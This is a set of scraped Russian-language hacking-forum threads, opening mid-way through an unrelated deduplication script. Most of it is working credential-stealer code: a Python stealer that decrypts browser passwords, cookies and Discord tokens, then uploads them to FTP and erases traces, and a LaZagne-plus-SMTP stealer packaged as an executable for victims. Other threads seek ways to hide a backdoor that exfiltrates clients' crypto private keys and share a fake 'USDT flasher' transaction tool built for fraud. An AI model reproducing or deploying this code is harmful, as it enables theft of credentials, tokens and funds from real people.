tac = time.perf_counter() # Конец отсчета времени
logging.info(f"Все временные файлы удалены. Уникальных строк: {unique_count}, Дублей удалено (на всех этапах процессов слияния): {original_count - unique_count}") # Логируем результаты
logging.info(f"Всего обработано строк: {original_count}") # Логируем количество обработанных строк
logging.info(f"Удаление дублей и сортировка заняли {tac - tic:0.2f} секунд") # Логируем время выполнения
Пишем свой stealer на Python с отправкой на FTP-сервер
Author: devilbyte • 2019-12-02T01:47:50+0000 • Replies: 27 • Views: 7K
Привет всем!Как погодка?)
Сегодня я бы хотел показать ,как можно написать самый простой stealer на
Python! Приступим!(Давно не писал статей ,уже забыл ,что тут и как?)
Для начала нам нужен FTP сервер.
Итак ,для начала нам нужно импортировать модули:
Python:Copy to clipboard
import os
import sqlite3
import win32crypt
import shutil
import zipfile
import ftplib
Тут все просто ,модуль os для работы с директориями и удалением "следов".
Модуль sqlite3 и win32crupt для работы с БД, shutil для работы с путями ,
zipfile для работы с архивом zip.И модуль ftplib соответственно для отправки
архива с паролями на ftp-сервер
Далее нам нужно определить юзера ПК,ведь каждый записан в системе по своему.
Python:Copy to clipboard
user_name = os.getlogin()
Так,мы узнали юзера ,а что же дальше?А дальше мы должны начать искать ,и
расшифровывать БД ,а также искать куки
Python:Copy to clipboard
def Chrome():
text = 'Passwords Google_Chrome:' + '\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data'):
shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
password = win32crypt.CryptUnprotectData(result[2])[1].decode()
login = result[1]
url = result[0]
if password != '':
text += '\nURL: ' + url + '\nLOGIN: ' + login + '\nPASSWORD: ' + password + '\n'
return text
file = open(os.getenv("APPDATA") + '\\pass_google_chrome.txt', "w+")
file.write(str(Chrome()) + '\n')
file.close()
def Chrome_cockie():
textc = 'Cookies Chrome:' + '\n'
textc += 'URL | COOKIE | COOKIE NAME' + '\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'):
shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2')
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2')
cursor = conn.cursor()
cursor.execute("SELECT * from cookies")
for result in cursor.fetchall():
cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
name = result[2]
url = result[1]
textc += url + ' | ' + str(cookie) + ' | ' + name + '\n'
return textc
file = open(os.getenv("APPDATA") + '\\google_cookies.txt', "w+") #данные
file.write(str(Chrome_cockie()) + '\n')
file.close()
def Opera():
texto = 'Passwords Opera:' + '\n'
texto += 'URL | LOGIN | PASSWORD' + '\n'
if os.path.exists(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data'):
shutil.copy2(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data', os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2')
conn = sqlite3.connect(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2')
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
password = win32crypt.CryptUnprotectData(result[2])[1].decode()
login = result[1]
url = result[0]
if password != '':
texto += '\nURL: ' + url + '\nLOGIN: ' + login + '\nPASSWORD: ' + password + '\n'
file = open(os.getenv("APPDATA") + '\\pass_opera.txt', "w+")
file.write(str(Opera()) + '\n')
file.close()
def chromium():
textch = 'Chromium Passwords:' + '\n'
textch += 'URL | LOGIN | PASSWORD' + '\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default'):
shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2')
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2')
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
password = win32crypt.CryptUnprotectData(result[2])[1].decode()
login = result[1]
url = result[0]
if password != '':
textch += url + ' | ' + login + ' | ' + password + '\n'
return textch
file = open(os.getenv("APPDATA") + '\\chromium.txt', "w+")
file.write(str(chromium()) + '\n')
file.close()
def Yandex():
texty = 'YANDEX Cookies:' + '\n'
texty += 'URL | COOKIE | COOKIE NAME' + '\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies'):
shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies2')
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies2')
cursor = conn.cursor()
cursor.execute("SELECT * from cookies")
for result in cursor.fetchall():
cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
name = result[2]
url = result[1]
texty += url + ' | ' + str(cookie) + ' | ' + name + '\n'
return texty
file = open(os.getenv("APPDATA") + '\\yandex_cookies.txt', "w+")
file.write(str(Yandex()) + '\n')
file.close()
def Firefox():
textf = ''
textf += 'Firefox Cookies:' + '\n'
textf += 'URL | COOKIE | COOKIE NAME' + '\n'
for root, dirs, files in os.walk(os.getenv("APPDATA") + '\\Mozilla\\Firefox\\Profiles'):
for name in dirs:
conn = sqlite3.connect(os.path.join(root, name)+'\\cookies.sqlite')
cursor = conn.cursor()
cursor.execute("SELECT baseDomain, value, name FROM moz_cookies")
data = cursor.fetchall()
for i in range(len(data)):
url, cookie, name = data[i]
textf += url + ' | ' + str(cookie) + ' | ' + name + '\n'
break
return textf
file = open(os.getenv("APPDATA") + '\\firefox_cookies.txt', "w+")
file.write(str(Firefox()) + '\n')
file.close()
def chromiumc():
textchc = ''
textchc += 'Chromium Cookies:' + '\n'
textchc += 'URL | COOKIE | COOKIE NAME' + '\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies'):
shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2')
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2')
cursor = conn.cursor()
cursor.execute("SELECT * from cookies")
for result in cursor.fetchall():
cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
name = result[2]
url = result[1]
textchc += url + ' | ' + str(cookie) + ' | ' + name + '\n'
return textchc
file = open(os.getenv("APPDATA") + '\\chromium_cookies.txt', "w+")
file.write(str(chromiumc()) + '\n')
file.close()
def Opera_c():
textoc = '\n' + 'Cookies Opera:' + '\n'
textoc += 'URL | COOKIE | COOKIE NAME' + '\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'):
shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2')
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2')
cursor = conn.cursor()
cursor.execute("SELECT * from cookies")
for result in cursor.fetchall():
cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
name = result[2]
url = result[1]
textoc += url + ' | ' + str(cookie) + ' | ' + name + '\n'
return textoc
file = open(os.getenv("APPDATA") + '\\opera_cookies.txt', "w+")
file.write(str(Opera_c()) + '\n')
file.close()
def discord_token():
if os.path.isfile(os.getenv("APPDATA") + '/discord/Local Storage/https_discordapp.com_0.localstorage') is True:
token = ''
conn = sqlite3.connect(os.getenv("APPDATA") + "/discord/Local Storage/https_discordapp.com_0.localstorage")
cursor = conn.cursor()
for row in cursor.execute("SELECT key, value FROM ItemTable WHERE key='token'"):
token = row[1].decode("utf-16")
conn.close()
if token != '':
return token
else:
return 'Discord exists, but not logged in'
else:
return 'Not found'
ds_token = discord_token()
ds_token += 'Discord token:' + '\n' + discord_token() + '\n' + '\n'
file = open(os.getenv("APPDATA") + '\\discord_token.txt', "w+")
file.write(str(discord_token()) + '\n')
file.close()
Я не стал долго е#ать себе и вам мозги,все базы расшифровываются одинокого
,только пути разные. А это самые популярные браузеры ,которыми пользуются
юзеры,ну и как же без дискорда?)
Так ,мы расшифровали БД и получили куки из браузеров,и сохранили их на ПК
жертвы. Но нам надо их как-то получить ,и мы их получим! Добавим все
текстовики в архив и отправим их к себе на сервер!
Python:Copy to clipboard
zname=r'D:\LOG.zip'
newzip=zipfile.ZipFile(zname,'w')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\pass_google_chrome.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\google_cookies.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\yandex_cookies.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\chromium.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\chromium_cookies.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\pass_opera.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\opera_cookies.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\discord_token.txt')
newzip.close()
Все,все текстовики с паролями сохранены в одном архиве! Который находится на
диске D:// под названием LOG.zip (можете запихнуть его подальше и под своим
именем)
Ну,и теперь отправим его к нам на сервер ,для этого конечно же нужен:
хост,логин и пароль
Python:Copy to clipboard
localfile = r"D:\LOG.zip"
ftp_host = 'host'
ftp_login = 'Ваш логин к сайту'
ftp_pass = 'Ваш пароль к FTP'
try:
ftp = ftplib.FTP(ftp_host, ftp_login, ftp_pass)
except:
print('Error! FTP not connected')
ftp.cwd('base_stael')
fp = open(localfile, "rb")
try:
ftp.storbinary('STOR %s' % os.path.basename(localfile), fp, 1024)
fp.close()
ftp.close()
except:
print("Error! File not download")
try:
os.remove("D:\LOG.zip")
except:
print('File not removed!')
Как я писал парсер для sharewod.biz. (Спойлер: не дописал).
Author: Hiccstrid • 2019-07-16T18:08:57+0000 • Replies: 23 • Views: 7K
Практикуясь на python, решил написать парсер для sharewood.biz. За акк спасибо
[Newbie](/members/174125/).
Первым делом идём смотрим, какой и куда запрос предаётся при авторизации.


Кстати пользователь с таким логином и паролем действительно существует,
случайно это обнаружил (Интересно почему?).
С логином и паролем понятно, что ещё за токен? Этот токен генерируется каждый
раз, то есть каждый раз он новый. Смотрим исходный код страницы и видим:

Более менее понятно, начинаем кодить.
Импортируем нужные библиотеки: requests для авторизации, и BeautifulSoup для
парсинга:
Python:Copy to clipboard
import requests
from bs4 import BeautifulSoup
Открываем сессию, запоминаем её в переменную s, задаём headers, переходим по
ссылке для авторизации:
Python:Copy to clipboard
def auth():
with requests.Session() as s:
headers = {
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 OPR/62.0.3331.66'
}
url = 'https://sharewood.biz/login/login'
r = s.get(url, headers=headers)
Создаём объект класса BeautifulSoup, и парсим токен:
Python:Copy to clipboard
soup = BeautifulSoup(r.text, 'lxml')
token = soup.find('input', {'name':'_xfToken'}).get('value')
Создаём словарь login_data с нужными значениями:
Python:Copy to clipboard
login_data = {
'login': 'login',
'password': 'password',
'remember': '1',
'_xfRedirect': 'https://sharewood.biz/',
'_xfToken': token
}
Используя метод post передаём наш словарь, авторизуемся, и возвращаем ссесию:
Python:Copy to clipboard
r = s.post(url, data=login_data, headers=headers)
return s
Авторизовались. Теперь можно парсить данные с радостью подумал я, не меня ждал
сюрприз.

Что же делать? Неужели придётся использовать selenium, подумал я. Но решил
посмотреть, что происходит когда я нажимаю на лайк.

Интересно, значит идёт post запрос. Возможно удастся что-то сделать.
Попробуем перейти по этой ссылке:

Такс. Кнопка, ну ладно попробую передать post запрос, может прокатит. (На то
"больше не нравится" не обращайте внимание, принцип такой же).
Что там у нас передаётся в запросе:

Знакомый нам токен, его мы уже умеем парсить, закодированная ссылка, уже начал
искать как в pythone кодируются urlы. Но потом в исходном коде нашёл следущее:

То что нам нужно. Кстати нам нужно найти ссылку, на которую отправляется этот
самый запрос: <https://sharewood.biz/posts/43467/like>
Эту самую, но в исходном коде не нашёл, но нашёл вот что:

Цифра есть, а ссылку можем сами сформировать. Начинаем:
Передаём в функцию сессию, и url на материал, впоследствии эти urlы брались из
списка.
Парсим токен, url для запроса, и url на который отправлять запрос, записываем
всё в словарь.
Python:Copy to clipboard
def get_course(session, url):
headers = {
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 OPR/62.0.3331.66'
}
r = session.get(url, headers=headers)
soup = BeautifulSoup(r.text, 'lxml')
token = soup.find('input', {'name':'_xfToken'}).get('value')
print(token)
r_url = soup.find('meta', {'property':'og:url'}).get('content')[21:]
print(r_url)
post = soup.find('article', class_='message message--post js-post js-inlineModContainer').get('data-content')[5:]
print(post)
data = {
'xfRequestUri': r_url,
'_xfWithData': '1',
'_xfToken': token,
'_xfResponseType': 'json'
}
Делаем post запрос и переходим к нашему материалу, который требуется спарсить,
ищем этот элемент:
Python:Copy to clipboard
p_url = 'https://sharewood.biz/posts/' + str(post) + '/like'
r = session.post(p_url, data=data, headers=headers)
r = session.get(url, headers=headers)
soup = BeautifulSoup(r.text, 'lxml')
mat = soup.find('div', class_='bbCodeBlock bbCodeBlock--hide clike').find('div', class_='bbCodeBlock-content').text
print(mat)
Результат работы, для наглядности печатаю токен, url для post запроса, и
цифру, которая требуется для создания urlа, на который этот запрос
отправляется:

Но при тестировнии возникает проблема:

Неужто не везде работает? Но перейдя на форум и попытавшись поставить лайк
вижу:

Ясно. Оказывается у них ограничение: 15 лайков в сутки. Печально.
Способ полностью рабочий, я проверил это запустив парсер с ссылкой на материал
который я не лайкал, лайк был поставлен.
Если бы не ограничение, можно было спарсить все ссылки в разделе, а потом
прогнать через цикл. Но увы...
Если есть сайты, с которых вы хотите что-то спарсить, обращайтесь, если смогу
- реализую.
P.S За код не ругайте, это черновой вариант, до чистого не пришлось дойти...
Код целиком:
Python:Copy to clipboard
from bs4 import BeautifulSoup
import requests
def auth():
with requests.Session() as s:
headers = {
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 OPR/62.0.3331.66'
}
url = 'https://sharewood.biz/login/login'
r = s.get(url, headers=headers)
soup = BeautifulSoup(r.text, 'lxml')
token = soup.find('input', {'name':'_xfToken'}).get('value')
login_data = {
'login': 'login',
'password': 'password',
'remember': '1',
'_xfRedirect': 'https://sharewood.biz/',
'_xfToken': token
}
r = s.post(url, data=login_data, headers=headers)
return s
def get_course(session, url):
headers = {
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 OPR/62.0.3331.66'
}
r = session.get(url, headers=headers)
soup = BeautifulSoup(r.text, 'lxml')
token = soup.find('input', {'name':'_xfToken'}).get('value')
print(token)
r_url = soup.find('meta', {'property':'og:url'}).get('content')[21:]
print(r_url)
post = soup.find('article', class_='message message--post js-post js-inlineModContainer').get('data-content')[5:]
print(post)
data = {
'xfRequestUri': r_url,
'_xfWithData': '1',
'_xfToken': token,
'_xfResponseType': 'json'
}
p_url = 'https://sharewood.biz/posts/' + str(post) + '/like'
r = session.post(p_url, data=data, headers=headers)
r = session.get(url, headers=headers)
soup = BeautifulSoup(r.text, 'lxml')
mat = soup.find('div', class_='bbCodeBlock bbCodeBlock--hide clike')#.find('div', class_='bbCodeBlock-content').text
print(mat)
def main():
url = 'https://sharewood.biz/threads/swiftbook-Платные-видеокурсы-на-русском-языке-по-swift-5-2019.49758/'
s = auth()
get_course(s, url)
if __name__ == '__main__':
main()
Python для хакера. Изучаем Python на практических примерах (2022)
Author: zxc21 • 2022-02-22T17:30:41+0000 • Replies: 42 • Views: 6K
**Автор: xakep.ru**

Python уверенно лидирует в рейтингах популярности языков программирования, и
не зря — на этом языке можно решать самые разные задачи и при этом сильно
экономить время. Python — излюбленный хакерами язык, поскольку отлично годится
для автоматизации. В сегодняшней подборке мы познакомимся с самыми началами
этого замечательного языка и реализуем больше дюжины настоящих проектов.
**В подборку вошли двадцать статей, разбитые на пять разделов.
1\. Первые шаги в Python**
* Python с абсолютного нуля. Учимся кодить без скучных книжек
* Учимся работать со строками, файлами и интернетом
* Работаем с ОС, изучаем регулярные выражения и функции
* Пять простых примеров, которые сподвигнут тебя изучить Python
**2\. Практика. Легкий уровень**
* Разведка змеем. Собираем информацию о системе с помощью Python
* Телеграфирует робот. Пишем бота для Telegram на Python
* Питоном по телеграму! Пишем пять простых Telegram-ботов на Python
* Ядовитый питон. Пишем на Python простейшую малварь_ локер, шифровальщик и вирус
* Reverse shell на Python. Осваиваем навыки работы с сетью на Python на примере обратного шелла
**3\. Практика. Средний уровень**
* Идеальная форма. Обрабатываем сложные формы на Python с помощью WTForms
* Крадущийся питон. Создаем простейший троян на Python
* Тотальная проверка. Используем API VirusTotal в своих проектах
* YOLO! Используем нейросеть, чтобы следить за людьми и разгадывать капчу
* Ищем эксплоиты из Python, сканим уязвимые серверы и автоматизируем пентест
* Scapy для начинающих. Укрощаем строптивого змея
**4\. Практика. Продвинутый уровень**
* Малварь на просвет. Используем Python для динамического анализа вредоносного кода
* Шаг за шагом. Автоматизируем многоходовые атаки в Burp Suite
* Это не перебор! Пишем утилиту для взлома Wi-Fi на Python
* Python для микроконтроллеров. Учимся программировать одноплатные компьютеры на языке высокого уровня
* Python’ом по брутфорсу. Перекрываем кислород взломщикам с помощью ручного метода исследования
**5\. Интересное о Python**
* Переходим на Python 3. Как попрощаться с Python 2.7 и кодить дальше
* Python по всем правилам. Делаем свою структуру данных совместимой с фичами Python
* Async_await_ асинхронные возможности в Python 3+
* Профилировщики для Python. Измеряем скорость выполнения наших приложений
* Разборки в террариуме. Изучаем виды интерпретаторов Python

### [ 48.95 MB file on MEGA
](https://mega.nz/file/6YgngICI#8qaIgFb9bFtJ6UUq9ggttZDyybVK3kq50gKWX1XS1MM)

mega.nz
Какой учить язык после python ?
Author: CEBEK777 • 2021-02-05T13:17:32+0000 • Replies: 71 • Views: 6K
Коллеги , пишу тг ботов на питоне , немного джанго подучил. но чот меня уже не
так вставялет питон как раньше , хочется чтото более серьезное ))) java , c++
, короче софт свой писать охота.
что посоветуете? на java может переключиться? или не морочить себе голову , а
дальше познавать все прелести питона ?))
заранее спасибо
Как спрятать бэкдор в питон скрипте?
Author: stdusr • 2020-10-28T17:01:15+0000 • Replies: 32 • Views: 6K
Здравствуйте,
иногда занимаюсь фрилансом, получил заказ написать скрипт, который обработает
очень вкусную инфу(приватные ключи ETH и BTC). Но т.к. заказчик мне не
родственник, ни друг и из недружественной страны, я очень хотел бы, что скрипт
отправил эту инфу мне. Заказчик тоже не дурак, он требует, что скрипт был
только из одного файла, без каких либо внешних библиотек. В принципе мне надо
как то спрятать в скрипте одну строку:
Python:Copy to clipboard
requests.post('url', 'инфа')
Если я пошифрую эту строку кода и пробую такие варианты, как:
Python:Copy to clipboard
eval('пошифрованный код')
или
exec('пошифрованный код')
то сразу создает подозрение. Может у кого есть другие идеи? Какие нибудь
хитрости с юникодом? За дельный совет, и если он прокатит, обещаю 10% от
выхлопа. Гарантий, конечно немогу дать, просто честное слово

Стиллер на Python с отправкой по почте
Author: tabac • 2018-12-25T16:33:39+0000 • Replies: 9 • Views: 6K
**Что будем делать?**
Здравствуй, читатель сегодня поговорим о том почему не надо открывать
непроверенные файлы скачанные с неизвестных источников и создадим такой файл
чтобы понять что он может наделать на вашем ПК. Создавать мы будем стиллер
который соберет все наши пароли и отправит их нам по почте.
**Что для этого нужно?**
Нам понадобится:
1. Python 3.x.x
2. Инструмент для восстановления паролей(в нашем случае [LaZagne](http://itsecforu.ru/2017/11/21/lazagne-%D1%81%D1%80%D0%B5%D0%B4%D1%81%D1%82%D0%B2%D0%BE-%D0%B2%D0%BE%D1%81%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F-%D0%BF%D0%B0%D1%80%D0%BE%D0%BB%D0%B5%D0%B9-%D0%B4%D0%BB/))
3. Два аккаунта Google
**И так начинаем**
Для начала поместим .exe файл инструмента LaZagne в папку с нашим проектом.
Далее создадим .bat файл с любым названием(у меня будет main.bat) и файл
send.py.
У нас должна получится такая структура:
Project:
* laZagne.exe
* send.py
* main.bat
**Пишем код**
Откроем файл main.bat и поместим туда код:
Code:Copy to clipboard
@Echo off
laZagne.exe all > pass.txt
Теперь при запуске нашего .bat файла у нас появится файл pass.txt в котором
будут все ваши пароли из браузеров(и не только). Осталось только отправить
данные на почту. Но как это сделать?
**Отправка на почту**
Открываем файл send.py и вставляем код:
Code:Copy to clipboard
import smtplib
import os
import mimetypes
from email import encoders
from email.mime.base import MIMEBase
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from email.mime.audio import MIMEAudio
from email.mime.multipart import MIMEMultipart
def send_email(addr_from, password, addr_to, files):
msg_subj = 'Password'
msg_text = 'Password'
msg = MIMEMultipart()
msg['From'] = addr_from
msg['To'] = addr_to
msg['Subject'] = msg_subj
body = msg_text
msg.attach(MIMEText(body, 'plain'))
process_attachement(msg, files)
#==========Код зависящий от сервиса==========
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(addr_from, password)
server.send_message(msg)
server.quit()
#============================================
def process_attachement(msg, files):
for f in files:
if os.path.isfile(f):
attach_file(msg,f)
elif os.path.exists(f):
dir = os.listdir(f)
for file in dir:
attach_file(msg,f+"/"+file)
def attach_file(msg, filepath):
filename = os.path.basename(filepath)
ctype, encoding = mimetypes.guess_type(filepath)
if ctype is None or encoding is not None:
ctype = 'application/octet-stream'
maintype, subtype = ctype.split('/', 1)
if maintype == 'text':
with open(filepath) as fp:
file = MIMEText(fp.read(), _subtype=subtype)
fp.close()
elif maintype == 'image':
with open(filepath, 'rb') as fp:
file = MIMEImage(fp.read(), _subtype=subtype)
fp.close()
elif maintype == 'audio':
with open(filepath, 'rb') as fp:
file = MIMEAudio(fp.read(), _subtype=subtype)
fp.close()
else:
with open(filepath, 'rb') as fp:
file = MIMEBase(maintype, subtype)
file.set_payload(fp.read())
fp.close()
encoders.encode_base64(file)
file.add_header('Content-Disposition', 'attachment', filename=filename)
msg.attach(file)
#=====Настройки=================================
_from = "from@gmail.com"
_password = "password"
_to = "to@gmail.com"
files = ["pass.txt"]
#=============================================
send_email(_from, _password, _to, files)
Теперь нужно настроить и в зависимости от сервиса по которому будете
отправлять почту изменяем выделенный код: Google (прежде нужно [разрешить
доступ для менее безопасных
приложений](https://myaccount.google.com/lesssecureapps)):
Code:Copy to clipboard
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(addr_from, password)
server.send_message(msg)
server.quit()
Mail.ru:
Code:Copy to clipboard
server = smtplib.SMTP_SSL('smtp.mail.ru', 25)
server.login(addr_from, password)
server.send_message(msg)
server.quit()
Yandex:
Code:Copy to clipboard
server = smtplib.SMTP_SSL('smtp.yandex.ru', 465)
server.login(addr_from, password)
server.send_message(msg)
server.quit()
**Доделываем .bat**
Теперь в наш .bat файл добавим код запуска файла send.py и удаления файла
pass.txt:
Code:Copy to clipboard
send.py
del /s "pass.txt"
**Сборка**
Теперь после запуска main.bat ваши пароли будут отправлены к вам на почту но
если у вас не установлен Python то ничего не получится нужно превратить наш
send.py файл в exe. Для этого открываем консоль и пишем:
Code:Copy to clipboard
pip install pyinstaller
pyinstaller --onefile send.py
Еще но нужно превратить main.bat файл в main.exe, и в этом нам поможет [Bat To
Exe Converter](http://www.f2ko.de/apps/ob2e/). Жмем на кнопку с тремя
точками("...") и ищем ваш файл main.bat, жмем "Открыть", после чего жмем
"Convert" и получаем файл main.exe. Эти три файла и есть наш стиллер, можем
отправлять другу и радоватьсяпроверять на работоспособность.
**Ссылки**
* [Google](https://www.google.com/)
* [LaZagne](http://itsecforu.ru/2017/11/21/lazagne-%D1%81%D1%80%D0%B5%D0%B4%D1%81%D1%82%D0%B2%D0%BE-%D0%B2%D0%BE%D1%81%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F-%D0%BF%D0%B0%D1%80%D0%BE%D0%BB%D0%B5%D0%B9-%D0%B4%D0%BB/)
* [Bat To Exe Online Converter](http://www.f2ko.de/apps/ob2e/)
(c) Artur3175
USDT Flasher - Source Code
Author: Vladig • 2024-12-03T22:22:46+0000 • Replies: 53 • Views: 5K


_(Transactions remain pending, wont confirm obviously)
(Trust Wallet does not work)
(Unlimited Amounts)_
Python:Copy to clipboard
import tkinter as tk
from tkinter import messagebox, ttk
from web3 import Web3
# Connect to Ethereum Mainnet
infura_url = "https://mainnet.infura.io/v3/ID" # Replace with your Infura Project ID
web3 = Web3(Web3.HTTPProvider(infura_url))
# Cryptocurrencies metadata
cryptocurrencies = {
"USDT": {"address": "0xdAC17F958D2ee523a2206206994597C13D831ec7", "decimals": 6},
"WBTC": {"address": "0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599", "decimals": 8},
"USDC": {"address": "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606EB48", "decimals": 6},
"DAI": {"address": "0x6B175474E89094C44Da98b954EedeAC495271d0F", "decimals": 18},
"PEPE": {"address": "0x6982508145454Ce325dDbE47a25d4ec3d2311933", "decimals": 18},
"FTM": {"address": "0x4e15361FD6b4BB609Fa63c81A2be19d873717870", "decimals": 18},
"SHIB": {"address": "0x95aD61b0a150d79219dCF64E1E6Cc01f0B64C4cE", "decimals": 18},
"MATIC": {"address": "0x7D1Afa7B718fb893dB30A3aBc0Cfc608AaCfeBB0", "decimals": 18},
"UNI": {"address": "0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984", "decimals": 18},
"TON": {"address": "0x2ee543c7a6D02aC3D1E5aA0e6A7bD71cB1e4F830", "decimals": 9}
}
# Track the last transaction details
last_transaction = None
# Validate and convert the Ethereum address
def validate_and_convert_address(address):
if not web3.is_address(address): # Check if the address is valid
raise ValueError("Invalid Ethereum address.")
return web3.to_checksum_address(address) # Convert to checksum address
# Function to send the transaction
def send_transaction():
global last_transaction
private_key = private_key_entry.get()
delivery_address = delivery_address_entry.get()
send_amount = amount_entry.get()
selected_currency = currency_combobox.get()
try:
# Validate and convert the Ethereum address
delivery_address = validate_and_convert_address(delivery_address)
# Get the contract address and decimals for the selected currency
currency_data = cryptocurrencies[selected_currency]
contract_address = currency_data["address"]
decimals = currency_data["decimals"]
# Convert the send amount to smallest units
send_amount = int(float(send_amount) * (10 ** decimals))
# Sender's wallet
account = web3.eth.account.from_key(private_key)
sender_address = account.address
# ERC-20 transfer method ID
method_id = "0xa9059cbb"
# Encode the transaction data
padded_address = delivery_address[2:].zfill(64)
padded_amount = hex(send_amount)[2:].zfill(64)
data = method_id + padded_address + padded_amount
# Get the current nonce (from confirmed transactions)
nonce = web3.eth.get_transaction_count(sender_address)
# Set a gas price to keep it pending (3 gwei Stuck Forever) (20+ gwei Instant)
gas_price = web3.to_wei(3, "gwei")
gas_limit = 60000 # Gas limit for ERC-20 transfer
# Construct the transaction
transaction = {
"to": contract_address,
"value": 0,
"gas": gas_limit,
"gasPrice": gas_price,
"nonce": nonce,
"data": data,
"chainId": 1,
}
# Sign the transaction
signed_txn = web3.eth.account.sign_transaction(transaction, private_key)
# Send the transaction
tx_hash = web3.eth.send_raw_transaction(signed_txn.raw_transaction)
tx_hash_hex = web3.to_hex(tx_hash)
# Save the last transaction details
last_transaction = {
"nonce": nonce,
"gasPrice": gas_price,
"private_key": private_key
}
# Copy txid to clipboard
root.clipboard_clear()
root.clipboard_append(tx_hash_hex)
root.update()
messagebox.showinfo("Success", f"Transaction sent!\nHash: {tx_hash_hex}\n(TxID copied to clipboard)")
except Exception as e:
messagebox.showerror("Error", f"Failed to send transaction:\n{str(e)}")
# Function to cancel the last transaction
def cancel_transaction():
global last_transaction
if not last_transaction:
messagebox.showerror("Error", "No transaction to cancel.")
return
try:
private_key = last_transaction["private_key"]
nonce = last_transaction["nonce"]
gas_price = last_transaction["gasPrice"]
# Increase the gas price to replace the transaction
new_gas_price = int(gas_price * 1.5)
# Sender's wallet
account = web3.eth.account.from_key(private_key)
sender_address = account.address
# Create a replacement transaction to self
transaction = {
"to": sender_address,
"value": 0,
"gas": 21000,
"gasPrice": new_gas_price,
"nonce": nonce,
"chainId": 1,
}
# Sign the replacement transaction
signed_txn = web3.eth.account.sign_transaction(transaction, private_key)
# Send the replacement transaction
tx_hash = web3.eth.send_raw_transaction(signed_txn.raw_transaction)
